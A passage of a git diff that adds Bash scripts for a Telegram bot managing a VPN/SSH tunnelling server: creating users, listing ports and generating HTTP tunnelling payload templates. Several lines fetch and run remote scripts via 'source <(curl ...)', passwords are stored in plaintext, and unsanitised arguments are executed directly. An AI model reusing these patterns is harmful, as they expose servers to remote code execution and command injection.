100644 index 0000000..1d4dc88 --- /dev/null +++ b/Recursos/usercodes/telebot-sh/bot_codes-ant.sh @@ -0,0 +1,446 @@ +#!/bin/bash + +[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/msg-bar/msg) > /dev/null +dir_user="./userDIR" +if [[ -e /etc/openvpn/server.conf ]]; then + if [[ -e /etc/openvpn/openvpn-status.log ]]; then +OPENVPN="on" + fi +fi + +meu_ip () { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +if [[ "$MEU_IP" != "$MEU_IP2" ]]; then +IP="$MEU_IP2" + else +IP="$MEU_IP" +fi +#PREENXE A VARIAVEL $IP +} + +paygen () { +meu_ip +valor1="$1" #Entrada Host +valor2="$IP" #Entrada IP +valor3="$2" #Metodo Requisicao +valor4="$3" #Metodo Conexao +[[ "$valor2" = "" ]] && valor2="127.0.0.1" +#VERIFICA VALOR3 +if [ "$valor3" = "1" ]; then +req="GET" +elif [ "$valor3" = "2" ]; then +req="CONNECT" +elif [ "$valor3" = "3" ]; then +req="PUT" +elif [ "$valor3" = "4" ]; then +req="OPTIONS" +elif [ "$valor3" = "5" ]; then +req="DELETE" +elif [ "$valor3" = "6" ]; then +req="HEAD" +elif [ "$valor3" = "7" ]; then +req="TRACE" +elif [ "$valor3" = "8" ]; then +req="PROPATCH" +elif [ "$valor3" = "9" ]; then +req="PATCH" +else +req="GET" +fi +#VERIFICA VALOR4 +if [ "$valor4" = "1" ]; then +in="realData" +elif [ "$valor4" = "2" ]; then +in="netData" +elif [ "$valor4" = "3" ]; then +in="raw" +else +in="netData" +fi + +name=$(echo $valor1 | awk -F "/" '{print $2'}) +[[ "$name" = "" ]] && name=$(echo $valor1 | awk -F "/" '{print $1'}) +esquelet="/etc/adm-lite/payloads" +sed -s "s;realData;abc;g" $esquelet > $HOME/$name.txt +sed -i "s;netData;abc;g" $HOME/$name.txt +sed -i "s;raw;abc;g" $HOME/$name.txt +sed -i "s;abc;$in;g" $HOME/$name.txt +sed -i "s;get;$req;g" $HOME/$name.txt +sed -i "s;mhost;$valor1;g" $HOME/$name.txt +sed -i "s;mip;$valor2;g" $HOME/$name.txt +if [[ "$(cat $HOME/$name.txt | egrep -o "$valor1")" = "" ]]; then +rm $HOME/$name.txt +return 1 +else +mv -f $HOME/$name.txt $HOME/payloads.txt +return 0 +fi +} + +ports_ () { +rm -f ./textoports +unset puertos texto texto_ svcs porta +local texto +local texto_ +local puertos +local svcs +local PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +local _ps="$(ps x)" +x=1 +for porta in `echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 | uniq`; do + [[ -z $porta ]] && continue + porta[$x]="$porta" + #echo "$porta - $(echo -e "$PT" | grep -w "$porta" | awk '{print $1}' | uniq | tail -1)" + svcs[$x]="$(echo -e "$PT" | grep -w "$porta" | awk '{print $1}' | uniq | tail -1)" + let x++; +done + +for((i=1; i<$x; i++)); do +[[ ! -z ${svcs[$i]} ]] && texto=" ${pPIniT} ${svcs[$i]}: ${porta[$i]}" || texto='' +[[ ${svcs[$i]} = "apache2" ]] && texto=" ${pPIniT} APACHE: ${porta[$i]}" +[[ ${svcs[$i]} = "node" ]] && texto=" ${pPIniT} WebSocket: ${porta[$i]}" +[[ ${svcs[$i]} = "clash" ]] && texto=" ${pPIniT} Clash: ${porta[$i]}" +[[ ${svcs[$i]} = "psiphond" ]] && texto=" ${pPIniT} PSIPHON: ${porta[$i]}" +[[ ${svcs[$i]} = "xray-v2-u" ]] && texto=" ${pPIniT} XRAY/UI: ${porta[$i]}" +[[ ${svcs[$i]} = "v2-ui" ]] && texto=" ${pPIniT} V2-UI/WEB: ${porta[$i]}" +[[ ${svcs[$i]} = "xray-linu" ]] && texto=" ${pPIniT} XRAY/UI: ${porta[$i]}" +[[ ${svcs[$i]} = "x-ui" ]] && texto=" ${pPIniT} XUI/WEB: ${porta[$i]}" +[[ ${svcs[$i]} = "openvpn" ]] && texto=" ${pPIniT} OPENVPN-TCP: ${porta[$i]}" +[[ ${svcs[$i]} = "squid" ]] && texto=" ${pPIniT} SQUID: ${porta[$i]}" +[[ ${svcs[$i]} = "squid3" ]] && texto=" ${pPIniT} SQUID: ${porta[$i]}" +[[ ${svcs[$i]} = "dropbear" ]] && texto=" ${pPIniT} DROPBEAR: ${porta[$i]}" +[[ ${svcs[$i]} = "python3" ]] && texto=" ${pPIniT} SOCKS/PYTHON3: ${porta[$i]}" +[[ ${svcs[$i]} = "python" ]] && texto=" ${pPIniT} SOCKS/PYTHON: ${porta[$i]}" +[[ ${svcs[$i]} = "obfs-serv" ]] && texto=" ${pPIniT} SSR (OBFS): ${porta[$i]}" +[[ ${svcs[$i]} = "ss-server" ]] && texto=" ${pPIniT} SSR (LIV): ${porta[$i]}" +[[ ${svcs[$i]} = "sshd" ]] && texto=" ${pPIniT} SSH: ${porta[$i]}" +[[ ${svcs[$i]} = "ssh" ]] && texto=" ${pPIniT} SSH: ${porta[$i]}" +[[ ${svcs[$i]} = "systemd-r" ]] && texto=" ${pPIniT} System-DNS: ${porta[$i]}" +[[ ${svcs[$i]} = "stunnel4" ]] && texto=" ${pPIniT} SSL: ${porta[$i]}" +[[ ${svcs[$i]} = "stunnel" ]] && texto=" ${pPIniT} SSL: ${porta[$i]}" +[[ ${svcs[$i]} = "v2ray" ]] && texto=" ${pPIniT} V2RAY: ${porta[$i]}" +[[ ${svcs[$i]} = "xray" ]] && texto=" ${pPIniT} XRAY: ${porta[$i]}" +[[ ${svcs[$i]} = "badvpn-ud" ]] && texto=" ${pPIniT} BadVPN: ${porta[$i]}" +[[ ${svcs[$i]} = "trojan" ]] && texto=" ${pPIniT} Trojan-GO: ${porta[$i]}" +[[ ${svcs[$i]} = "sslh" ]] && texto=" ${pPIniT} SSLH: ${porta[$i]}" +[[ ${svcs[$i]} = "nc.tradit" ]] && texto=" ${pPIniT} KeyGen: \033[1;31mON" +[[ ${svcs[$i]} = "filebrows" ]] && texto=" ${pPIniT} FileBrowser: ${porta[$i]}" +[[ ${svcs[$i]} = "rpcbind" ]] && texto=" ${pPIniT} RPCBind: ${porta[$i]}" +[[ ${svcs[$i]} = "snell-ser" ]] && texto=" ${pPIniT} SNell: ${porta[$i]}" + i=$(($i+1)) +[[ ! -z ${svcs[$i]} ]] && texto_=" ${pPIniT} ${svcs[$i]}: ${porta[$i]}" || texto_='' +[[ ${svcs[$i]} = "apache2" ]] && texto_=" ${pPIniT} APACHE: ${porta[$i]}" +[[ ${svcs[$i]} = "node" ]] && texto_=" ${pPIniT} WebSocket: ${porta[$i]}" +[[ ${svcs[$i]} = "clash" ]] && texto_=" ${pPIniT} Clash: ${porta[$i]}" +[[ ${svcs[$i]} = "psiphond" ]] && texto_=" ${pPIniT} PSIPHON: ${porta[$i]}" +[[ ${svcs[$i]} = "xray-v2-u" ]] && texto_=" ${pPIniT} XRAY/UI: ${porta[$i]}" +[[ ${svcs[$i]} = "v2-ui" ]] && texto_=" ${pPIniT} V2-UI/WEB: ${porta[$i]}" +[[ ${svcs[$i]} = "xray-linu" ]] && texto_=" ${pPIniT} XRAY/UI: ${porta[$i]}" +[[ ${svcs[$i]} = "x-ui" ]] && texto_=" ${pPIniT} XUI/WEB: ${porta[$i]}" +[[ ${svcs[$i]} = "openvpn" ]] && texto_=" ${pPIniT} OPENVPN-TCP: ${porta[$i]}" +[[ ${svcs[$i]} = "squid" ]] && texto_=" ${pPIniT} SQUID: ${porta[$i]}" +[[ ${svcs[$i]} = "squid3" ]] && texto_=" ${pPIniT} SQUID: ${porta[$i]}" +[[ ${svcs[$i]} = "dropbear" ]] && texto_=" ${pPIniT} DROPBEAR: ${porta[$i]}" +[[ ${svcs[$i]} = "python3" ]] && texto_=" ${pPIniT} SOCKS/PYTHON3: ${porta[$i]}" +[[ ${svcs[$i]} = "python" ]] && texto_=" ${pPIniT} SOCKS/PYTHON: ${porta[$i]}" +[[ ${svcs[$i]} = "obfs-serv" ]] && texto_=" ${pPIniT} SSR (OBFS): ${porta[$i]}" +[[ ${svcs[$i]} = "ss-server" ]] && texto_=" ${pPIniT} SSR (LIV): ${porta[$i]}" +[[ ${svcs[$i]} = "sshd" ]] && texto_=" ${pPIniT} SSH: ${porta[$i]}" +[[ ${svcs[$i]} = "ssh" ]] && texto_=" ${pPIniT} SSH: ${porta[$i]}" +[[ ${svcs[$i]} = "systemd-r" ]] && texto_=" ${pPIniT} System-DNS: ${porta[$i]}" +[[ ${svcs[$i]} = "stunnel4" ]] && texto_=" ${pPIniT} SSL: ${porta[$i]}" +[[ ${svcs[$i]} = "stunnel" ]] && texto_=" ${pPIniT} SSL: ${porta[$i]}" +[[ ${svcs[$i]} = "v2ray" ]] && texto_=" ${pPIniT} V2RAY: ${porta[$i]}" +[[ ${svcs[$i]} = "xray" ]] && texto_=" ${pPIniT} XRAY: ${porta[$i]}" +[[ ${svcs[$i]} = "badvpn-ud" ]] && texto_=" ${pPIniT} BadVPN: ${porta[$i]}" +[[ ${svcs[$i]} = "trojan" ]] && texto_=" ${pPIniT} Trojan-GO: ${porta[$i]}" +[[ ${svcs[$i]} = "sslh" ]] && texto_=" ${pPIniT} SSLH: ${porta[$i]}" +[[ ${svcs[$i]} = "nc.tradit" ]] && texto_=" ${pPIniT} KeyGen: \033[1;31mON" +[[ ${svcs[$i]} = "filebrows" ]] && texto_=" ${pPIniT} FileBrowser: ${porta[$i]}" +[[ ${svcs[$i]} = "rpcbind" ]] && texto_=" ${pPIniT} RPCBind: ${porta[$i]}" +[[ ${svcs[$i]} = "snell-ser" ]] && texto_=" ${pPIniT} SNell: ${porta[$i]}" +echo -e "$texto $texto_" >> ./textoports +done +local _PT=$(lsof -V -i UDP -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep -E 'openvpn|dns-serve|udpServer') +x=1 +for porta in `echo -e "$_PT" | cut -d: -f2 | cut -d' ' -f1 | uniq`; do + [[ -z $porta ]] && continue + _porta[$x]="$porta" + _svcs[$x]="$(echo -e "$_PT" | grep -w "$porta" | awk '{print $1}' | uniq | tail -1)" + let x++; +done +for((i=1; i<$x; i++)); do +[[ ! -z ${_svcs[$i]} ]] && texto=" ${pPIniT} ${_svcs[$i]}: ${_porta[$i]}" || texto='' +[[ ${_svcs[$i]} = "dns-serve" ]] && texto=" ${pPIniT} SlowDNS: ${_porta[$i]}" +[[ ${_svcs[$i]} = "openvpn" ]] && texto=" ${pPIniT} OPENVPN-UDP: ${_porta[$i]}" +[[ ${_svcs[$i]} = "udpServer" ]] && texto=" ${pPIniT} UDPServer: {_porta[$i]}" + i=$(($i+1)) +[[ ! -z ${_svcs[$i]} ]] && texto_=" ${pPIniT} ${_svcs[$i]}: ${_porta[$i]}" || texto_='' +[[ ${_svcs[$i]} = "dns-serve" ]] && texto_=" ${pPIniT} SlowDNS: ${_porta[$i]}" +[[ ${_svcs[$i]} = "openvpn" ]] && texto_=" ${pPIniT} OPENVPN-UDP: ${_porta[$i]}" +[[ ${_svcs[$i]} = "udpServer" ]] && texto_=" ${pPIniT} UDPServer: ${_porta[$i]}" +echo -e "$texto $texto_" >> ./textoports +done + +rm $portas_var +rm $porta_var +} + + + +infovps () { +msg1='•••••••••••••••••••••••••••••••••••••••••••••••••' +meu_ip +ports_ +echo -e "Host/IP-Address : $IP\n $msg \n" > ./infovps-txt +echo -e $(cat < ./textoports) >> ./infovps-txt +#echo -e $(cat < ./textoports) >> ./infovps-txt +} + +fun_sem () { +sed -e "s;auth-user-pass;\n$1\n$2\n;g" $HOME/$1.ovpn > $HOME/teste.ovpn && mv -f $HOME/teste.ovpn $HOME/$1.ovpn +zip $HOME/$1.zip $HOME/$1.ovpn +rm $HOME/$1.ovpn +} + +newclient () { +# Generates the custom client.ovpn +cp /etc/openvpn/client-common.txt ~/$1.ovpn +echo "" >> ~/$1.ovpn +cat /etc/openvpn/easy-rsa/pki/ca.crt >> ~/$1.ovpn +echo "" >> ~/$1.ovpn +echo "" >> ~/$1.ovpn +cat /etc/openvpn/easy-rsa/pki/issued/$1.crt >> ~/$1.ovpn +echo "" >> ~/$1.ovpn +echo "" >> ~/$1.ovpn +cat /etc/openvpn/easy-rsa/pki/private/$1.key >> ~/$1.ovpn +echo "" >> ~/$1.ovpn +echo "" >> ~/$1.ovpn +cat /etc/openvpn/ta.key >> ~/$1.ovpn +echo "" >> ~/$1.ovpn +} + +open_1 () { +CLIENT="$1" +senha="$2" +daysrnf="$3" +limit="$4" +sen="$5" +cd /etc/openvpn/easy-rsa/ +./easyrsa build-client-full $CLIENT nopass +newclient "$CLIENT" +echo "" +echo "$CLIENT KEY" ~/"$CLIENT.ovpn" +valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days") +datexp=$(date "+%d/%m/%Y" -d "+ $daysrnf days") +useradd -M -s /bin/false -d /home/ovpn/ $CLIENT -e $valid +usermod -p $(openssl passwd -1 $senha) $CLIENT +if [[ "$sen" = "s" || "$sen" = "S" ]]; then +fun_sem $CLIENT $senha +fi +cd /etc/adm-lite +echo "senha: $senha" > $dir_user/$CLIENT +echo "limite: $limit" >> $dir_user/$CLIENT +echo "data: $valid" >> $dir_user/$CLIENT +} + +open_2 () { +CLIENT="$1" +cd /etc/openvpn/easy-rsa/ +./easyrsa --batch revoke $CLIENT +./easyrsa gen-crl +rm -rf pki/reqs/$CLIENT.req +rm -rf pki/private/$CLIENT.key +rm -rf pki/issued/$CLIENT.crt +rm -rf /etc/openvpn/crl.pem +cp /etc/openvpn/easy-rsa/pki/crl.pem /etc/openvpn/crl.pem +chown nobody:$GROUPNAME /etc/openvpn/crl.pem +echo "" +userdel --force $CLIENT +cd /etc/adm-lite +if [ -e $dir_user/$CLIENT ]; then +rm $dir_user/$CLIENT +fi +} + +function_dropb () { + if which tput >/dev/null 2>&1; then + ncolors=$(tput colors) + fi + if [ -t 1 ] && [ -n "$ncolors" ] && [ "$ncolors" -ge 8 ]; then + RED="$(tput setaf 1)" + GREEN="$(tput setaf 2)" + YELLOW="$(tput setaf 3)" + BLUE="$(tput setaf 4)" + BOLD="$(tput bold)" + NORMAL="$(tput sgr0)" + else + RED="" + GREEN="" + YELLOW="" + BLUE="" + BOLD="" + NORMAL="" + fi +port_dropbear=`ps aux | grep dropbear | awk NR==1 | awk '{print $17;}'` +log=/var/log/auth.log +loginsukses='Password auth succeeded' +clear +printf "${BLUE}${BOLD}" +echo ' ' +printf "${NORMAL}" +printf "${BLUE}${BOLD}" +pids=`ps ax |grep dropbear |grep " $port_dropbear" |awk -F" " '{print $1}'` +for pid in $pids +do + pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'` + i=0 + for pidend in $pidlogs + do + let i=i+1 + done + if [ $pidend ];then + login=`grep $pid $log |grep "$pidend" |grep "$loginsukses"` + PID=$pid + user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'/ /g"` + waktu=`echo $login |awk -F" " '{print $2"-"$1,$3}'` + while [ ${#waktu} -lt 13 ]; do + waktu=$waktu" " + done + while [ ${#user} -lt 16 ]; do + user=$user" " + done + while [ ${#PID} -lt 8 ]; do + PID=$PID" " + done + printf "${YELLOW}${BOLD}" + echo "$user $PID $waktu" + printf "${BLUE}${BOLD}" + fi +done +echo "" +printf "${NORMAL}" +return +} + +fun_ovpn_onl () { +for userovpn in `cat /etc/passwd | grep ovpn | awk -F: '{print $1}'`; do +us=$(cat /etc/openvpn/openvpn-status.log | grep $userovpn | wc -l) +if [ "$us" != "0" ]; then +echo "$userovpn" +fi +done +} + +criarusr () { +name="$1" +if [ -z $name ]; then +return 1 +fi +if cat /etc/passwd |grep $name: |grep -vi [a-z]$name |grep -v [0-9]$name > /dev/null; then +return 1 +fi +pass="$2" +daysrnf="$3" +limit="$4" +_uID="$5" +if [ "$OPENVPN" = "on" ]; then +open_1 $name $pass $daysrnf $limit s +return 0 +fi +valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days") +datexp=$(date "+%d/%m/%Y" -d " +$daysrnf days") +useradd -M -s /bin/false $name -e $valid +(echo $pass; echo $pass)|passwd $name 2>/dev/null +echo "senha: $pass" > $dir_user/$name +echo "limite: $limit" >> $dir_user/$name +echo "data: $valid" >> $dir_user/$name +echo "$name $pass $datexp $limit" > ./criarusr-txt +return 0 +} + +v2r_ () { +name="$1" +if [ -z $name ]; then +return 1 +fi +if cat /etc/v2ray/config.json |grep $name |grep -vi [a-z]$name |grep -v [0-9]$name > /dev/null; then +return 1 +fi +daysrnf="$2" +[[ -e /etc/v2ray/config.json ]] && { +source <(curl -sSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/usercodes/adduser.sh) $name $daysrnf +} || { +echo -e " NO SE HA CONFIGURADO SU V2RAY " > /bin/ejecutar/${name}_vmess.txt +} +return 0 +} + +userdelete () { +name="$1" +[[ "$name" = "" ]] && return 1 +if [ "$OPENVPN" = "on" ]; then +open_2 $name +return +fi +userdel --force $name > /dev/null 2>/dev/null +kill -9 `ps aux |grep -vi '[a-z]$name' |grep -vi '$name[a-z]' |grep -v '[1-9]$name' |grep -v '$name[1-9]' |grep $name |awk {'print $2'}` 2> /dev/null +if [ -e $dir_user/$name ]; then +rm $dir_user/$name +fi +return 0 +} + +infousers () { +for namer in `awk -F : '$3 > 900 { print $1 }' /etc/passwd |grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do +[[ "$namer" = "" ]] && break +if [ -e $dir_user/$namer ]; then +_sen=$(cat $dir_user/$namer | grep "senha" | awk '{print $2}') +_limit=$(cat $dir_user/$namer | grep "limite" | awk '{print $2}') +else +_limit="Null" +_sen="Null" +fi +[[ -z "$_limit" ]] && _limit="Null" +[[ -z "$_sen" ]] && _sen="Null" +data_sec=$(date +%s) +data_user=$(chage -l "$namer" |grep -i co |awk -F ":" '{print $2}') +if [ "$data_user" != " never" ]; then +data_user_sec=$(date +%s --date="$data_user") + if [ "$data_sec" -gt "$data_user_sec" ]; then +dias_user="Null" +else +variavel_soma=$(($data_user_sec - $data_sec)) +dias_use=$(($variavel_soma / 86400)) +dias_user="$dias_use" + fi +fi +[[ "$data_user" = " never" ]] && dias_user="Null" +userinfo+="$namer $_sen $_limit $dias_user\n" +done +echo -e "$userinfo" > ./infousers-txt +return 0 +} + +onlines () { +_data_now=$(date +%s) +for user in `awk -F : '$3 > 900 { print $1 }' /etc/passwd |grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do +ssh_open=$(ps -u $user | grep sshd | wc -l) +ssh_drop=$(function_dropb | grep "$user" | wc -l) +if [ "$OPENVPN" = "on" ]; then +ssh_ovpn=$(fun_ovpn_onl | grep "$user" | wc -l) + else +ssh_ovpn="0" +fi +u_pid=$(($ssh_open + $ssh_drop)) +user_pid=$(($u_pid + $ssh_ovpn)) +if [ "$user_pid" -gt "0" ]; then +varbot+="$user $user_pid\n" +fi +done +echo -e "$varbot" > ./onlines-txt +return 0 +} + +$1 "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" diff --git a/Recursos/usercodes/telebot-sh/ultimatebot-ant.sh b/Recursos/usercodes/telebot-sh/ultimatebot-ant.sh new file mode 100644 index 0000000..d686f77 --- /dev/null +++ b/Recursos/usercodes/telebot-sh/ultimatebot-ant.sh @@ -0,0 +1,640 @@ +#!/bin/bash +apt-get install jq -y > /dev/null 2>&1 + +#169.254.125.161 +# Máscara de subred . . . . . . . . . . . . : 255.255.0.0 + +[[ -e ./liberados ]] && UsersID=$(cat ./liberados) + +#VARIAVEL ENTRADA TOKEN +[[ "$1" = "" ]] && exit 1 +if [[ "$2" != "" ]]; then +idioma="$2" +else +idioma="pt" +fi + +#IMPORTANDO API +source ShellBot.sh + +ShellBot.init --token "$1" +ShellBot.username +TOKEN=$1 +#ARQUIVOS USADOS NA MESMA PASTA +#infousers / infousers-txt > informação usuarios +#onlines / onlines-txt > usuarios conectados +#criarusr / criarusr-txt > criar usuario +#userdelete > deletar usuario infovps-txt + +#IMPORTANDO TEXTOS +txt[1]="USUARIOS LIBERADOS EN EL BOT" +txt[2]=" Usuario" +txt[3]=" NO PUEDES USAR EL BOT" +txt[4]=" Comandos Bloqueados" +txt[5]=" EL ACCESO YA ESTÁ LIBERADO" +txt[6]=" ya estás liberado" +txt[7]=" " +txt[8]="NO PUEDE USAR ESTE BOT" +txt[9]="No tienes permiso para usar" +txt[10]="Tentativa de acesso negada!" +txt[11]="LANZAMIENTO REALIZADO CON ÉXITO!" +txt[12]="¡Ahora puedes administrar el bot!" +txt[13]="13¡Buen uso!" +txt[14]="INFORMACIÓN DEL SERVIDOR" +txt[15]="HOLA ADMIN, BIENVENIDO" +txt[16]=" SEA BIENVENIDO AL BOT" +txt[17]=" Aqui Esta a lista de Comandos Disponiveis!" +txt[18]=" COMANDOS" +txt[19]=" usuarios conectados" +txt[20]=" adicionar usuario" +txt[21]=" remover usuario" +txt[22]=" informacoes dos usuarios" +txt[23]=" informacao do servidor" +txt[24]=" usuarios liberados no bot" +txt[25]=" gerador de payload" +txt[26]=" libera o bot" +txt[27]=" Usuario Clave" +txt[28]=" comando nao foi executado" +txt[29]=" Usuario" +txt[30]=" Contraseña" +txt[31]=" Dias Restantes" +txt[32]=" Limite" +txt[33]=" Comando Reconocido" +txt[34]=" Usuario" +txt[35]=" Conexines" +txt[36]=" MODO DE USO" +txt[37]=" Usuario Senha Dias Limite" +txt[38]=" Exemplo" +txt[39]=" Usuario Nao Foi Criado" +txt[40]=" USUARIO CRIADO" +txt[41]=" Usuario" +txt[42]=" Senha" +txt[43]=" Duracao" +txt[44]=" Limite" +txt[45]=" MODO DE USO" +txt[46]=" Usuario" +txt[47]=" Ejemplo:" +txt[48]=" Usuario No Eliminado" +txt[49]=" Removido con exito!" +txt[50]=" MODO DE USO" +txt[51]=" Host Requisicao Conexao" +txt[52]=" Ejemplo" +txt[53]=" Metodos Requisicao" +txt[54]=" Metodos Conexao" +txt[55]=" PAYLOADS GENERADOS EXITOSAMENTE" +txt[56]=" PAYLOADS NO GENERADOS" +txt[57]=" Algo deu Errado" + + +call.mensaje () { +ID=$1 +mensaje=$2 +#--reply_to_message_id ${ID} +[[ -z ${ID} ]] && return + ShellBot.sendMessage --chat_id ${ID} \ + --text "$(echo -e "${mensaje}")" \ + --parse_mode html +} + +add_admin(){ +IDadd="$1" +[[ -z $(cat ./liberados|grep ${IDadd}) ]] || { +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="ACCESO YA ESTA ACTIVO\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="EL ID DE REGISTRO NO AFECTADO\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + call.mensaje "${message_chat_id[$id]}" "$msg" +return 0 +} +# verificaruser "${usuario}:${senha}" +[[ $(cat ./liberados | head -1 | grep -w ${message_chat_id[$id]}) ]] && { +[[ ${#IDadd} -gt 6 ]] && { +[[ -e ./liberados ]] && echo "${IDadd}" >> ./liberados +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="AUTORIZACION REALIZADA EXITOSAMENTE\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" YA PUEDES ADMINISTRAR ESTE BOT\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=' Presiona /start \n' + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + call.mensaje "${IDadd}" "$msg" +return 0 +} +} || { +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="NO TIENES AUTORIZACION\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" ACCESO DENEGADO\n" + msg+="CONTACTA CON EL ADMIN\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html +return 0 +} +} + +#IDENTIFICA USUARIO USANDO +loguin_fun () { +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="USUARIOS PERMITIDOS A USAR ESTE BOT\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" $(cat -n ./liberados) \n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + call.mensaje "${message_chat_id[$id]}" "$msg" +return 0 +} + +blockfun () { +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="NO PUEDES USAR EL BOT\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="AUTORIZACION INVALIDA\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown + return 0 +} + + +verificaruser () { +base_de_dados="./bottokens" +if [[ $(cat $base_de_dados|head -1|awk '{print $1}') = "$1" ]]; then +return 0 + else +return 1 +fi +} + +ativarid () { +usuario="$1" +senha="$2" +usrid="$chatuser" +if [[ "$(cat ./liberados|grep "$usrid")" != "" ]]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="ACCESO AUTORIZADO CON EXITO\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="Ahora ya puedes administrar\n" + msg+=" - BUEN USO -\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown +return 0 +fi +verificaruser "${usuario}:${senha}" +if [[ "$?" = "1" ]]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="NO TIENES AUTORIZACION\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" ACCESO DENEGADO\n" + msg+="CONTACTA CON EL ADMIN\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown +return 0 +else +[[ -e ./liberados ]] && echo "$usrid" >> ./liberados || echo "$usrid" > ./liberados +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="AUTORIZACION REALIZADA EXITOSAMENTE\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" YA PUEDES ADMINISTRAR ESTE BOT\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown +return 0 +fi +} + +infovps () { +bash ./bot_codes infovps +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" - HOLA ADMIN - \n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=' $(cat ./infovps-txt) \n' + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' +# while read line; do +# [[ "$line" = "" ]] && break +# msg+="$line\n" +# done < ./infovps-txt +# msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode html + return 0 +} + +infoporta () { +#echo "DISEÑANDO MENSAJES!" +bash ./bot_codes ports_ +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" LISTA DE PUERTAS ACTIVAS EN VPS\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + while read line; do + [[ "$line" = "" ]] && break + msg+="$line\n" + done < ./textoports + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown + return 0 +} + + +ajuda_fun () { +chatuser="${message_chat_id[$id]}" +_ADMIN=$(cat ./liberados | grep -w ${chatuser}) +[[ -z $(cat 